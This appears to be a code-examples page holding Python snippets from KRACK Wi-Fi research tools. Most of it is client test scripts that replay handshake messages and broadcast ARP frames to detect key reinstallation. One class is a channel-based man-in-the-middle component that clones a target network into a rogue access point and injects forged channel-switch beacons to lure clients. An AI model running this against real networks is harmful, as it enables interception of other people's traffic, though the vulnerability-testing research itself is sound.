        self.nic_iface = interface
        self.nic_mon = interface + "mon"
        self.apmac = scapy.arch.get_if_hwaddr(interface)
        self.sock_mon = None
        self.sock_eth = None
        self.hostapd = None
        self.hostapd_ctrl = None
        self.clients = dict()

    def configure_interfaces(self):
        log(
            STATUS,
            "Note: disable Wi-Fi in network manager & disable hardware encryption. Both may interfere with this script."
        )
        subprocess.check_output(["rfkill", "unblock", "wifi"])
        subprocess.call(["iw", self.nic_mon, "del"],
                        stdout=subprocess.PIPE,
                        stdin=subprocess.PIPE)
        subprocess.check_output([
            "iw", self.nic_iface, "interface", "add", self.nic_mon, "type",
            "monitor"
        ])
        subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
        time.sleep(0.5)
        subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
        subprocess.check_output(["ifconfig", self.nic_mon, "up"])

    def run(self):
        self.configure_interfaces()
        log(STATUS, "Starting hostapd")
        try:
            self.hostapd = subprocess.Popen([
                os.path.join(self.script_path, "hostapd/hostapd"),
                os.path.join(self.script_path, "hostapd/hostapd.conf")
            ])
        except:
            if not os.path.exists("hostapd/hostapd"):
                log(ERROR, "hostapd not found.")
            raise
        time.sleep(1)

        try:
            self.hostapd_ctrl = Ctrl("hostapd_ctrl/" + self.nic_iface)
            self.hostapd_ctrl.attach()
        except:
            log(ERROR, "It seems hostapd did not start properly.")
            log(ERROR, "Did you disable Wi-Fi in the network manager?")
            raise

        self.sock_mon = MitmSocket(type=ETH_P_ALL, iface=self.nic_mon)
        self.sock_eth = L2Socket(type=ETH_P_ALL, iface=self.nic_iface)

        self.dhcp = DHCP_sock(sock=self.sock_eth,
                              domain='krackattack.com',
                              pool=Net('192.168.100.0/24'),
                              network='192.168.100.0/24',
                              gw='192.168.100.254',
                              renewal_time=600,
                              lease_time=3600)
        # Configure gateway IP: reply to ARP and ping requests
        subprocess.check_output(
            ["ifconfig", self.nic_iface, "192.168.100.254"])

        # Use a dedicated IP address for our broadcast ARP requests and replies
        self.group_ip = self.dhcp.pool.pop()
        self.group_arp = ARP_sock(sock=self.sock_eth,
                                  IP_addr=self.group_ip,
                                  ARP_addr=self.apmac)
        log(STATUS,
            "Ready. Connect to this Access Point to start the tests.",
            color="green")

        # Monitor both the normal interface and virtual monitor interface of the AP
        self.next_arp = time.time() + 1
        while True:
            sel = select.select([self.sock_mon, self.sock_eth], [], [], 1)
            if self.sock_mon in sel[0]:
                self.handle_mon()
            if self.sock_eth in sel[0]:
                self.handle_eth()

            # Periodically send the replayed broadcast ARP requests to test for group key reinstallations
            if time.time() > self.next_arp:
                self.next_arp = time.time() + HANDSHAKE_TRANSMIT_INTERVAL
                for client in self.clients.values():
                    # Also keep injecting to PATCHED clients (just to be sure they keep rejecting replayed frames)
                    if client.vuln_group != ClientState.VULNERABLE and client.mac in self.dhcp.leases:
                        clientip = self.dhcp.leases[client.mac]
                        log(
                            INFO, "%s: sending broadcast ARP to %s from %s" %
                            (client.mac, clientip, self.group_ip))

                        request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
                            op=1,
                            hwsrc=self.apmac,
                            psrc=self.group_ip,
                            pdst=clientip)
                        self.sock_eth.send(request)

    def handle_mon(self):
        p = self.sock_mon.recv()
        if p == None: return
        if p.type == 1: return

        if (p.FCfield & 2) != 0:
            clientmac, apmac = (p.addr1, p.addr2)
        else:
            clientmac, apmac = (p.addr2, p.addr1)

        if apmac != self.apmac:
            return None

        elif p.addr1 == self.apmac and Dot11WEP in p:
            if not clientmac in self.clients:
                self.clients[clientmac] = ClientState(clientmac)
            client = self.clients[clientmac]

            iv = dot11_get_iv(p)
            log(
                DEBUG, "%s: transmitted data using IV=%d (seq=%d)" %
                (clientmac, iv, dot11_get_seqnum(p)))

            if decrypt_ccmp(p, "\x00" *
                            16).startswith("\xAA\xAA\x03\x00\x00\x00"):
                client.mark_allzero_key(p)
            client.check_pairwise_reinstall(p)
            client.track_used_iv(p)

    def handle_eth(self):
        p = self.sock_eth.recv()
        if p == None or not Ether in p: return
        self.process_eth_rx(p)

    def process_eth_rx(self, p):
        self.dhcp.reply(p)
        self.group_arp.reply(p)

        clientmac = p[Ether].src
        if not clientmac in self.clients: return
        client = self.clients[clientmac]

    def stop(self):
        log(STATUS, "Closing hostapd and cleaning up ...")
        if self.hostapd:
            self.hostapd.terminate()
            self.hostapd.wait()
        if self.sock_mon:
            self.sock_mon.close()
        if self.sock_eth:
            self.sock_eth.close()
Пример #4
0
class KRAckAttackClient():
    def __init__(self):
        # Parse hostapd.conf
        self.script_path = os.path.dirname(os.path.realpath(__file__))
        try:
            interface = hostapd_read_config(
                os.path.join(self.script_path, "hostapd.conf"))
        except Exception as ex:
            log(ERROR, "Failed to parse the hostapd.conf config file")
            raise
        if not interface:
            log(
                ERROR,
                'Failed to determine wireless interface. Specify one in hostapd.conf at the line "interface=NAME".'
            )
            quit(1)

        # Set other variables
        self.nic_iface = interface
        self.nic_mon = interface + "mon"
        self.options = None
        try:
            self.apmac = scapy.arch.get_if_hwaddr(interface)
        except:
            log(
                ERROR,
                'Failed to get MAC address of %s. Specify an existing interface in hostapd.conf at the line "interface=NAME".'
                % interface)
            raise

        self.sock_mon = None
        self.sock_eth = None
        self.hostapd = None
        self.hostapd_ctrl = None

        self.dhcp = None
        self.broadcast_sender_ip = None
        self.broadcast_arp_sock = None

        self.clients = dict()

    def reset_client_info(self, clientmac):
        if clientmac in self.dhcp.leases:
            self.dhcp.remove_client(clientmac)
            log(DEBUG, "%s: Removing client from DHCP leases" % clientmac)
        if clientmac in self.clients:
            del self.clients[clientmac]
            log(DEBUG, "%s: Removing ClientState object" % clientmac)

    def handle_replay(self, p):
        """Replayed frames (caused by a pairwise key reinstallation) are rejected by the kernel. This
		function processes these frames manually so we can still test reinstallations of the group key."""
        if not Dot11WEP in p: return

        # Reconstruct Ethernet header
        clientmac = p.addr2
        header = Ether(dst=self.apmac, src=clientmac)
        header.time = p.time

        # Decrypt the payload and obtain LLC/SNAP header and packet content
        client = self.clients[clientmac]
        plaintext = client.decrypt(p, self.hostapd_ctrl)
        llcsnap, packet = plaintext[:8], plaintext[8:]

        # Rebuild the full Ethernet packet
        if llcsnap == "\xAA\xAA\x03\x00\x00\x00\x08\x06":
            decap = header / ARP(packet)
        elif llcsnap == "\xAA\xAA\x03\x00\x00\x00\x08\x00":
            decap = header / IP(packet)
        elif llcsnap == "\xAA\xAA\x03\x00\x00\x00\x86\xdd":
            decap = header / IPv6(packet)
        #elif llcsnap == "\xAA\xAA\x03\x00\x00\x00\x88\x8e":
        # 	# EAPOL
        else:
            return

        # Now process the packet as if it were a valid (non-replayed) one
        self.process_eth_rx(decap)

    #AQUI QUE COMEÇA A CHECAR AS VUNERABILIDADES
    def handle_mon_rx(self):
        p = self.sock_mon.recv()
        if p == None: return
        if p.type == 1: return

        # Note: we cannot verify that the NIC is indeed reusing IVs when sending the broadcast
        # ARP requests, because it may override them in the firmware/hardware (some Atheros
        # Wi-Fi NICs do no properly reset the Tx group key IV when using hardware encryption).

        # The first bit in FCfield is set if the frames is "to-DS"
        clientmac, apmac = (p.addr1,
                            p.addr2) if (p.FCfield & 2) != 0 else (p.addr2,
                                                                   p.addr1)
        if apmac != self.apmac: return None

        # Reset info about disconnected clients
        if Dot11Deauth in p or Dot11Disas in p:
            self.reset_client_info(clientmac)

        # Inspect encrypt frames for IV reuse & handle replayed frames rejected by the kernel
        elif p.addr1 == self.apmac and Dot11WEP in p:
            if not clientmac in self.clients:
                self.clients[clientmac] = ClientState(clientmac,
                                                      options=options)
            client = self.clients[clientmac]

            iv = dot11_get_iv(p)
            log(
                DEBUG, "%s: transmitted data using IV=%d (seq=%d)" %
                (clientmac, iv, dot11_get_seqnum(p)))

            #	101010101010101000000011000000000000000000000000
            # checa se a chave de criptografia é AllZero(zerada):
            # descriptografa a mensagem usando uma chave AllZero, e se o resultado iniciar com
            # o valor acima, significa que a chave que encriptou a mensagem original era AllZero
            if decrypt_ccmp(p, "\x00" *
                            16).startswith("\xAA\xAA\x03\x00\x00\x00"):
                client.mark_allzero_key(p)
            if self.options.variant == TestOptions.Fourway and not self.options.gtkinit:
                client.check_pairwise_reinstall(p)
            if client.is_iv_reused(p):
                self.handle_replay(p)
            client.track_used_iv(p)

    def process_eth_rx(self, p):
        self.dhcp.reply(p)
        self.broadcast_arp_sock.reply(p)

        clientmac = p[Ether].src
        if not clientmac in self.clients: return
        client = self.clients[clientmac]

        if ARP in p and p[ARP].pdst == self.broadcast_sender_ip:
            client.broadcast_process_reply(p)

    def handle_eth_rx(self):
        p = self.sock_eth.recv()
        if p == None or not Ether in p: return
        self.process_eth_rx(p)

    def broadcast_send_request(self, client):
        clientip = self.dhcp.leases[client.mac]

        # Print a message when we start testing the client --- XXX this should be in the client?
        if client.broadcast_state == ClientState.IDLE:
            hstype = "group key" if self.options.variant == TestOptions.Grouphs else "4-way"
            log(
                STATUS,
                "%s: client has IP address -> now sending replayed broadcast ARP packets"
                % client.mac)
            client.broadcast_state = ClientState.STARTED

        # Send a new handshake message when testing the group key handshake
        if self.options.variant == TestOptions.Grouphs:
            cmd = "RESEND_GROUP_M1 " + client.mac
            cmd += "maxrsc" if self.options.gtkinit else ""
            hostapd_command(self.hostapd_ctrl, cmd)

        # Send a replayed broadcast ARP request to the client
        request = Ether(src=self.apmac, dst="ff:ff:ff:ff:ff:ff") / ARP(
            op=1,
            hwsrc=self.apmac,
            psrc=self.broadcast_sender_ip,
            pdst=clientip)
        self.sock_eth.send(request)
        client.broadcast_requests_sent += 1
        log(
            INFO,
            "%s: sending broadcast ARP to %s from %s (sent %d ARPs this interval)"
            % (client.mac, clientip, self.broadcast_sender_ip,
               client.broadcast_requests_sent))

    def experimental_test_igtk_installation(self):
        """To test if the IGTK is installed using the given replay counter"""
        # 1. Set ieee80211w=2 in hostapd.conf
        # 2. Run this script using --gtkinit so a new group key is generated before calling this function

        # 3. Install the new IGTK using a very high given replay counter
        hostapd_command(self.hostapd_ctrl,
                        "RESEND_GROUP_M1 %s maxrsc" % client.mac)
        time.sleep(1)

        # 4. Now kill the AP
        quit(1)

        # 5. Hostapd sends a broadcast deauth message. At least iOS will reply using its own
        #    deauthentication respose if this frame is accepted. Sometimes hostapd doesn't
        #    send a broadcast deauthentication. Is this when the client is sleeping?

    def configure_interfaces(self):
        log(
            STATUS,
            "Note: disable Wi-Fi in network manager & disable hardware encryption. Both may interfere with this script."
        )

        # 0. Some users may forget this otherwise
        subprocess.check_output(["rfkill", "unblock", "wifi"])

        # 1. Remove unused virtual interfaces to start from a clean state
        subprocess.call(["iw", self.nic_mon, "del"],
                        stdout=subprocess.PIPE,
                        stdin=subprocess.PIPE)

        # 2. Configure monitor mode on interfaces
        subprocess.check_output([
            "iw", self.nic_iface, "interface", "add", self.nic_mon, "type",
            "monitor"
        ])
        # Some kernels (Debian jessie - 3.16.0-4-amd64) don't properly add the monitor interface. The following ugly
        # sequence of commands assures the virtual interface is properly registered as a 802.11 monitor interface.
        subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
        time.sleep(0.5)
        subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
        subprocess.check_output(["ifconfig", self.nic_mon, "up"])

    def run(self, options):
        self.options = options
        self.configure_interfaces()

        # Open the patched hostapd instance that carries out tests and let it start
        log(STATUS, "Starting hostapd ...")
        try:
            self.hostapd = subprocess.Popen([
                os.path.join(self.script_path, "../hostapd/hostapd"),
                os.path.join(self.script_path, "hostapd.conf")
            ] + sys.argv[1:])
        except:
            if not os.path.exists("../hostapd/hostapd"):
                log(
                    ERROR,
                    "hostapd executable not found. Did you compile hostapd? Use --help param for more info."
                )
            raise
        time.sleep(1)

        try:
            self.hostapd_ctrl = Ctrl("hostapd_ctrl/" + self.nic_iface)
            self.hostapd_ctrl.attach()
        except:
            log(
                ERROR,
                "It seems hostapd did not start properly, please inspect its output."
            )
            log(
                ERROR,
                "Did you disable Wi-Fi in the network manager? Otherwise hostapd won't work."
            )
            raise

        self.sock_mon = MitmSocket(type=ETH_P_ALL, iface=self.nic_mon)
        self.sock_eth = L2Socket(type=ETH_P_ALL, iface=self.nic_iface)

        # Let scapy handle DHCP requests
        self.dhcp = DHCP_sock(sock=self.sock_eth,
                              domain='krackattack.com',
                              pool=Net('192.168.100.0/24'),
                              network='192.168.100.0/24',
                              gw='192.168.100.254',
                              renewal_time=600,
                              lease_time=3600)
        # Configure gateway IP: reply to ARP and ping requests
        subprocess.check_output(
            ["ifconfig", self.nic_iface, "192.168.100.254"])

        # Use a dedicated IP address for our broadcast ARP requests and replies
        self.broadcast_sender_ip = self.dhcp.pool.pop()
        self.broadcast_arp_sock = ARP_sock(sock=self.sock_eth,
                                           IP_addr=self.broadcast_sender_ip,
                                           ARP_addr=self.apmac)

        log(STATUS,
            "Ready. Connect to this Access Point to start the tests. Make sure the client requests an IP using DHCP!",
            color="green")

        # Monitor both the normal interface and virtual monitor interface of the AP
        self.next_arp = time.time() + 1
        while True:
            sel = select.select([self.sock_mon, self.sock_eth], [], [], 1)
            if self.sock_mon in sel[0]: self.handle_mon_rx()
            if self.sock_eth in sel[0]: self.handle_eth_rx()

            # Periodically send the replayed broadcast ARP requests to test for group key reinstallations
            if time.time() > self.next_arp:
                # When testing if the replay counter of the group key is properly installed, always install
                # a new group key. Otherwise KRACK patches might interfere with this test.
                # Otherwise just reset the replay counter of the current group key.
                if self.options.variant in [
                        TestOptions.Fourway, TestOptions.Grouphs
                ] and self.options.gtkinit:
                    hostapd_command(self.hostapd_ctrl, "RENEW_GTK")
                else:
                    hostapd_command(self.hostapd_ctrl,
                                    "RESET_PN FF:FF:FF:FF:FF:FF")

                self.next_arp = time.time() + HANDSHAKE_TRANSMIT_INTERVAL
                for client in self.clients.values():
                    #self.experimental_test_igtk_installation()

                    # 1. Test the 4-way handshake
                    if self.options.variant == TestOptions.Fourway and self.options.gtkinit and client.vuln_bcast != ClientState.VULNERABLE:
                        # Execute a new handshake to test stations that don't accept a retransmitted message 3
                        hostapd_command(self.hostapd_ctrl,
                                        "RENEW_PTK " + client.mac)
                        # TODO: wait untill 4-way handshake completed? And detect failures (it's sensitive to frame losses)?
                    elif self.options.variant == TestOptions.Fourway and not self.options.gtkinit and client.vuln_4way != ClientState.VULNERABLE:
                        # First inject a message 1 if requested using the TPTK option
                        if self.options.tptk == TestOptions.TptkReplay:
                            hostapd_command(self.hostapd_ctrl,
                                            "RESEND_M1 " + client.mac)
                        elif self.options.tptk == TestOptions.TptkRand:
                            hostapd_command(
                                self.hostapd_ctrl,
                                "RESEND_M1 " + client.mac + " change-anonce")

                        # Note that we rely on an encrypted message 4 as reply to detect pairwise key reinstallations reinstallations.
                        hostapd_command(
                            self.hostapd_ctrl, "RESEND_M3 " + client.mac +
                            (" maxrsc" if self.options.gtkinit else ""))

                    # 2. Test if broadcast ARP request are accepted by the client. Keep injecting even
                    #    to PATCHED clients (just to be sure they keep rejecting replayed frames).
                    if self.options.variant in [
                            TestOptions.Fourway, TestOptions.Grouphs,
                            TestOptions.ReplayBroadcast
                    ]:
                        # 2a. Check if we got replies to previous requests (and determine if vulnerable)
                        client.broadcast_check_replies()

                        # 2b. Send new broadcast ARP requests (and handshake messages if needed)
                        if client.vuln_bcast != ClientState.VULNERABLE and client.mac in self.dhcp.leases:
                            time.sleep(1)
                            self.broadcast_send_request(client)

    def stop(self):
        log(STATUS, "Closing hostapd and cleaning up ...")
        if self.hostapd:
            self.hostapd.terminate()
            self.hostapd.wait()
        if self.sock_mon: self.sock_mon.close()
        if self.sock_eth: self.sock_eth.close()
Пример #5
0
class MitmChannelBased():
    '''
    Module: mitm_code
    ===

	Description: Obtain the configuration of the target network, clone to a Rogue AP, configure interfaces and start a new instance of `hostapd` to obtain the MitM Channel Based
	'''
    def __init__(self,
                 nic_real,
                 nic_rogue_ap,
                 nic_rogue_mon,
                 ssid,
                 group=False,
                 clientmac=None,
                 dumpfile=None):
        self.ssid = None
        self.real_channel = None
        self.group_cipher = None
        self.wpavers = 0
        self.pairwise_ciphers = set()
        self.akms = set()
        self.wmmenabled = 0
        self.capab = 0
        self.group = group

        self.nic_real_clientack = None
        self.nic_real = nic_real
        self.nic_rogue_ap = nic_rogue_ap
        self.nic_rogue_mon = nic_rogue_mon
        self.clientmac = clientmac
        self.sock_real = None
        self.sock_rogue = None
        self.dumpfile = dumpfile
        self.beacon = None
        self.ssid = ssid
        self.apmac = None
        self.netconfig = None

        self.hostapd = None
        self.hostapd_log = None

    def is_wparsn(self):
        '''
		Module: mitm_code
		===
		Class: MitmChannelBased
		---
		Description: verifies if the target network is WPA or WPA2 protected
		'''
        return not self.group_cipher is None and self.wpavers > 0 and \
         len(self.pairwise_ciphers) > 0 and len(self.akms) > 0

    # TODO: Improved parsing to handle more networks
    def parse_wparsn(self, wparsn):
        '''
		Module: mitm_code
		===
		Class: MitmChannelBased
		---
		Description: obtains information about network security configurations

		Informations obtained:
		  group_cipher
		  pairwise_ciphers
		  akms (auth key managment)
		  RSN capabilites
		'''
        self.group_cipher = ord(wparsn[5])

        num_pairwise = struct.unpack("<H", wparsn[6:8])[0]
        pos = wparsn[8:]
        for i in range(num_pairwise):
            self.pairwise_ciphers.add(ord(pos[3]))
            pos = pos[4:]

        num_akm = struct.unpack("<H", pos[:2])[0]
        pos = pos[2:]
        for i in range(num_akm):
            self.akms.add(ord(pos[3]))
            pos = pos[4:]

        if len(pos) >= 2:
            self.capab = struct.unpack("<H", pos[:2])[0]

#TODO - Change the WMMENABLED from 0 to int(args.group)

    def from_beacon(self, p):
        '''
		Module: mitm_code
		===
		Class: MitmChannelBased
		---
		Description: obtains a beacon packet from the target network and extracts information from that to clone the Rogue AP

		Arguments:
		  p: 802.11 Beacon packet
		
		Informations extracted:
		  self.ssid = SSID
		  self.real_channel = Channel
		  self.wpavers = WPA 1 or WPA 2
		  self.group_cipher = Group Cipher
		  self.pairwise_ciphers = Pairwise Ciphers
		  self.akms = Auth Key Management (akm)
		  self.capab = RSN Capabilities
		  self.wmm enabled = WMM enabled(1) or disabled(0)
		'''
        el = p[Dot11Elt]
        while isinstance(el, Dot11Elt):
            if el.ID == IEEE_TLV_TYPE_SSID:
                self.ssid = el.info
            elif el.ID == IEEE_TLV_TYPE_CHANNEL:
                self.real_channel = ord(el.info[0])
            elif el.ID == IEEE_TLV_TYPE_RSN:
                self.parse_wparsn(el.info)
                self.wpavers |= 2
            elif el.ID == IEEE_TLV_TYPE_VENDOR and el.info[:
                                                           4] == "\x00\x50\xf2\x01":
                self.parse_wparsn(el.info[4:])
                self.wpavers |= 1
            elif el.ID == IEEE_TLV_TYPE_VENDOR and el.info[:
                                                           4] == "\x00\x50\xf2\x02":
                self.wmmenabled = 1

            el = el.payload

    # TODO: Check that there also isn't a real AP of this network on
    # the returned channel (possible for large networks e.g. eduroam).
    def find_rogue_channel(self):
        '''
		Module: mitm_code
		===
		Class: MitmChannelBased
		---
		Description: find a new channel for Rogue AP operate

		Rules:
		  if real_channel >= 6, rogue_channel = 1
		  else rogue_channel = 11
		'''
        self.rogue_channel = 1 if self.real_channel >= 6 else 11

    def write_config(self, iface):
        '''
		Module: mitm_code
		===
		Class: MitmChannelBased
		---
		Description: write the configuration file for `hostapd_rogue.conf`

		Arguments:
		  iface: interface on which the Rogue AP will operate
		'''
        TEMPLATE = """
ctrl_interface=hostapd_ctrl
ctrl_interface_group=0

interface={iface}
ssid={ssid}
channel={channel}

wpa={wpaver}
wpa_key_mgmt={akms}
wpa_pairwise={pairwise}
rsn_pairwise={pairwise}
rsn_ptksa_counters={ptksa_counters}
rsn_gtksa_counters={gtksa_counters}

wmm_enabled={wmmenabled}
wmm_advertised={wmmadvertised}
hw_mode=g
auth_algs=3
wpa_passphrase=XXXXXXXX"""
        akm2str = {2: "WPA-PSK", 1: "WPA-EAP"}
        ciphers2str = {2: "TKIP", 4: "CCMP"}
        return TEMPLATE.format(
            iface=iface,
            ssid=self.ssid,
            channel=self.rogue_channel,
            wpaver=self.wpavers,
            akms=" ".join([akm2str[idx] for idx in self.akms]),
            pairwise=" ".join(
                [ciphers2str[idx] for idx in self.pairwise_ciphers]),
            ptksa_counters=(self.capab & 0b001100) >> 2,
            gtksa_counters=(self.capab & 0b110000) >> 4,
            wmmadvertised=int(self.group),
            wmmenabled=self.wmmenabled)

    def create_sockets(self, strict_echo_test=False):
        '''
		Module: mitm_code
		===
		Class: MitmChannelBased
		---
		Configure the sockets on monitor interfaces:
		  self.nic_real: self.sock_real
		  self.nic_rogue_mon: self.sock_rogue
		'''
        self.sock_real = MitmSocket(type=ETH_P_ALL,
                                    iface=self.nic_real,
                                    dumpfile=self.dumpfile,
                                    strict_echo_test=strict_echo_test)
        self.sock_rogue = MitmSocket(type=ETH_P_ALL,
                                     iface=self.nic_rogue_mon,
                                     dumpfile=self.dumpfile,
                                     strict_echo_test=strict_echo_test)

    def find_beacon(self, ssid):
        '''
		Module: mitm_code
		===
		Class: MitmChannelBased
		---
		Description: search for a beacon sent by the target network. First, it searchs on the current channel, if it doesn't found, it starts to search on the other channels.

		Arguments:
		  SSID - the name of the target network

		When a beacon is found, some actions occur:
		  the actual_channel gets the channel set in the beacon
		  the sock_real is set to the actual_channel
		  the beacon is stored in the self.beacon variable
		  the source address is stored in the self.apmac variable
		'''
        ps = sniff(count=1,
                   timeout=0.3,
                   lfilter=lambda p: Dot11Beacon in p and get_tlv_value(
                       p, IEEE_TLV_TYPE_SSID) == ssid,
                   opened_socket=self.sock_real)
        if ps is None or len(ps) < 1:
            log(STATUS, "Searching for target network on other channels")
            for chan in [1, 6, 11, 3, 8, 2, 7, 4, 10, 5, 9, 12, 13]:
                self.sock_real.set_channel(chan)
                log(DEBUG, "Listening on channel %d" % chan)
                ps = sniff(count=1,
                           timeout=0.3,
                           lfilter=lambda p: Dot11Beacon in p and
                           get_tlv_value(p, IEEE_TLV_TYPE_SSID) == ssid,
                           opened_socket=self.sock_real)
                if ps and len(ps) >= 1: break

        if ps and len(ps) >= 1:
            actual_chan = ord(get_tlv_value(ps[0], IEEE_TLV_TYPE_CHANNEL))
            self.sock_real.set_channel(actual_chan)
            self.beacon = ps[0]
            self.apmac = self.beacon.addr2

        if self.beacon is None:
            log(
                ERROR,
                "No beacon received of network <%s>. Is monitor mode working? Did you enter the correct SSID?"
                % self.ssid)
            exit(1)

    def configure_interfaces(self):
        '''
		Module: mitm_code
		===
		Class: MitmChannelBased
		---
		Description: configure NIC interfaces to work with MitM Attack

		Interfaces Configured:
		  Real Channel
		    self.nic_real - type monitor
		    self.nic_real + "sta1" - type managed
		  
		  Rogue Channel
		    self.nic_rogue_ap - type managed
		    self.nic_rogue_ap + "mon" - type monior
		'''
        # 0. Warn about common mistakes
        log(
            STATUS,
            "Note: remember to disable Wi-Fi in your network manager so it doesn't interfere with this script"
        )
        # This happens when targetting a specific client: both interfaces will ACK frames from each other due to the capture
        # effect, meaning certain frames will not reach the rogue AP or the client. As a result, the client will disconnect.
        log(
            STATUS,
            "Note: keep >1 meter between both interfaces. Else packet delivery is unreliable & target may disconnect"
        )

        # 1. Remove unused virtual interfaces
        subprocess.call(["iw", self.nic_real + "sta1", "del"],
                        stdout=subprocess.PIPE,
                        stdin=subprocess.PIPE)
        if self.nic_rogue_mon is None:
            subprocess.call(["iw", self.nic_rogue_ap + "mon", "del"],
                            stdout=subprocess.PIPE,
                            stdin=subprocess.PIPE)

        # 2. Configure monitor mode on interfaces
        subprocess.check_output(["ifconfig", self.nic_real, "down"])
        subprocess.check_output(
            ["iw", self.nic_real, "set", "type", "monitor"])
        if self.nic_rogue_mon is None:
            self.nic_rogue_mon = self.nic_rogue_ap + "mon"
            subprocess.check_output([
                "iw", self.nic_rogue_ap, "interface", "add",
                self.nic_rogue_mon, "type", "monitor"
            ])
            # Some kernels (Debian jessie - 3.16.0-4-amd64) don't properly add the monitor interface. The following ugly
            # sequence of commands to assure the virtual interface is registered as a 802.11 monitor interface.
            subprocess.check_output(["ifconfig", self.nic_rogue_mon, "up"])
            time.sleep(0.2)
            subprocess.check_output(["ifconfig", self.nic_rogue_mon, "down"])
            subprocess.check_output(
                ["iw", self.nic_rogue_mon, "set", "type", "monitor"])
            subprocess.check_output(["ifconfig", self.nic_rogue_mon, "up"])

        # 3. Configure interface on real channel to ACK frames
        if self.clientmac:
            self.nic_real_clientack = self.nic_real + "sta1"
            subprocess.check_output([
                "iw", self.nic_real, "interface", "add",
                self.nic_real_clientack, "type", "managed"
            ])
            call_macchanger(self.nic_real_clientack, self.clientmac)
        else:
            # Note: some APs require handshake messages to be ACKed before proceeding (e.g. Broadcom waits for ACK on Msg1)
            log(
                WARNING,
                "WARNING: Targeting ALL clients is not fully supported! Please provide a specific target using --target."
            )
            # Sleep for a second to make this warning very explicit
            time.sleep(1)

        # 4. Finally put the interfaces up
        subprocess.check_output(["ifconfig", self.nic_real, "up"])
        subprocess.check_output(["ifconfig", self.nic_rogue_mon, "up"])

    def send_csa_beacon(self,
                        numbeacons=1,
                        newchannel=1,
                        target=None,
                        silent=False):
        '''
		Module: mitm_code
		===
		Class: MitmChannelBased
		---
		Description: it sends `numbeacons` pairs of csa_beacon packets on the network. It takes the beacon sent by the target network and append the CSA element to it. The packet is sent througth the Real Socket.

		Arguments:
		  numbeacons: number of pairs of csa_beacons to send
		  target: specify a client MAC Address, if necessary
		  silent: if True, the log message is not displayed
		  newchannel: channel to switch
		'''

        beacon = self.beacon.copy()
        if target: beacon.addr1 = target

        for i in range(numbeacons):
            # Note: Intel firmware requires first receiving a CSA beacon with a count of 2 or higher,
            # followed by one with a value of 1. When starting with 1 it errors out.
            csabeacon = append_csa(beacon, newchannel, 2)
            self.sock_real.send(csabeacon)

            csabeacon = append_csa(beacon, newchannel, 1)
            self.sock_real.send(csabeacon)

        if not silent:
            log(STATUS,
                "Injected %d CSA beacon pairs (moving stations to channel %d)"
                % (numbeacons, newchannel),
                color="green")

    def init_hostapd(self):
        '''
		Module: mitm_code
		===
		Class: MitmChannelBased
		---
		Description: initiate a `hostapd` instance on `nic_rogue_ap` interface
		'''
        with open("hostapd_rogue.conf", "w") as fp:
            fp.write(self.write_config(self.nic_rogue_ap))
        self.hostapd = subprocess.Popen(
            ["../hostapd/hostapd", "hostapd_rogue.conf", "-dd", "-K"],
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE)
        self.hostapd_log = open("hostapd_rogue.log", "w")
        log(STATUS, "Giving the rogue hostapd one second to initialize ...")
        time.sleep(1)

        self.hostapd_ctrl = Ctrl("hostapd_ctrl/" + self.nic_rogue_ap)
        self.hostapd_ctrl.attach()

    def hostapd_rx_mgmt(self, p):
        '''
		Module: mitm_code
		===
		Class: MitmChannelBased
		---
		Description: manage packets sent to hostapd instance

		Arguments:
		  p: 802.11 packet
		'''
        log(DEBUG, "Sent frame to hostapd: %s" % dot11_to_str(p))
        self.hostapd_ctrl.request("RX_MGMT " + str(p[Dot11]).encode("hex"))

    def hostapd_add_sta(self, macaddr):
        '''
		Module: mitm_code
		===
		Class: MitmChannelBased
		---
		Description: forward authentication packet to Rogue AP sent by the client

		Arguments:
		  macaddr: the MAC address of the client to register
		'''
        log(DEBUG,
            "Forwarding auth to rouge AP to register client",
            showtime=False)
        self.hostapd_rx_mgmt(
            Dot11(addr1=self.apmac, addr2=macaddr, addr3=self.apmac) /
            Dot11Auth(seqnum=1))

    def handle_hostapd_out(self):
        # hostapd always prints lines so this should not block
        line = self.hostapd.stdout.readline()
        if line == "":
            log(ERROR, "Rogue hostapd instances unexpectedly closed")
            quit(1)

        if line.startswith(">>>> "):
            log(STATUS, "Rogue hostapd: " + line[5:].strip())
        elif line.startswith(">>> "):
            log(DEBUG, "Rogue hostapd: " + line[4:].strip())
        # This is a bit hacky but very usefull for quick debugging
        elif "fc=0xc0" in line:
            log(WARNING, "Rogue hostapd: " + line.strip())
        elif "sta_remove" in line or "Add STA" in line or "disassoc cb" in line or "disassocation: STA" in line:
            log(DEBUG, "Rogue hostapd: " + line.strip())
        else:
            log(ALL, "Rogue hostapd: " + line.strip())

        self.hostapd_log.write(datetime.now().strftime('[%H:%M:%S] ') + line)
Пример #6
0
class Daemon(metaclass=abc.ABCMeta):
	def __init__(self, options):
		self.options = options

		self.nic_iface = None
		self.nic_mon = None
		self.nic_hwsim = None

		self.process = None
		self.sock_eth = None
		self.sock_mon = None
		self.sock_hwsim = None

		self.wpaspy_pending = []

	@abc.abstractmethod
	def start_daemon(self):
		pass

	def configure_daemon(self):
		pass

	def handle_mon(self, p):
		pass

	def handle_eth(self, p):
		pass

	@abc.abstractmethod
	def time_tick(self, station):
		pass

	@abc.abstractmethod
	def get_tk(self, station):
		pass

	def get_gtk(self):
		gtk, idx = self.wpaspy_command("GET_GTK").split()
		return bytes.fromhex(gtk), int(idx)

	@abc.abstractmethod
	def get_ip(self, station):
		pass

	@abc.abstractmethod
	def rekey(self, station):
		pass

	@abc.abstractmethod
	def reconnect(self, station):
		pass

	def wpaspy_clear_messages(self):
		while self.wpaspy_ctrl.pending():
			self.wpaspy_ctrl.recv()

	def wpaspy_command(self, cmd):
		#self.wpaspy_clear_messages(ctrl)

		# Include console prefix so we can ignore other messages sent over the control interface
		response = self.wpaspy_ctrl.request("> " + cmd)
		while not response.startswith("> "):
			self.wpaspy_pending.append(response)
			log(DEBUG, "<appending> " + response)
			response = self.wpaspy_ctrl.recv()

		if "UNKNOWN COMMAND" in response:
			log(ERROR, "wpa_supplicant did not recognize the command %s. Did you (re)compile wpa_supplicant/hostapd?" % cmd.split()[0])
			quit(1)
		elif "FAIL" in response:
			log(ERROR, f"Failed to execute command {cmd}")
			quit(1)

		return response[2:]

	def configure_interfaces(self):
		try:
